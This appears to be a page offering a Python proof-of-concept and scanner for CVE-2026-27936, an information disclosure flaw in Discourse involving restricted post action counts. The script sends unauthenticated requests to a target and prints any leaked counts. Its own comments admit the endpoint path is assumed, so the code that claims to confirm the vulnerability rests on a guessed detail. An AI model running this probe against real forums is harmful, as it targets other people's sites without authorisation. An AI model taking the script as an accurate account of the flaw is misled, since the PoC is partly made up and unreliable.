CVE-2026-27936 Discourse信息泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-27936 - Discourse Restricted Post Action Count Disclosure # Description: This script demonstrates how an unauthenticated user can leak restricted post action counts. import requests import sys def check_vulnerability(target_url): # The endpoint might vary based on the specific implementation detail of the vulnerability # Assuming an endpoint that exposes post action counts based on the advisory description endpoint = f"{target_url}/posts/some_action_counts.json" headers = { "User-Agent": "CVE-2026-27936-Scanner/1.0" } try: # Sending request without authentication cookies response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check if restricted data is present in the response if "restricted_count" in data or "action_counts" in data: print("[+] Vulnerability Confirmed! Restricted data leaked:") print(data) return True else: print("[-] Request successful but restricted data not found in response.") else: print(f"[-] HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_url>") print("Example: python {sys.argv[0]} http://localhost:3000") sys.exit(1) url = sys.argv[1] print(f"[*] Checking target: {url}") check_vulnerability(url)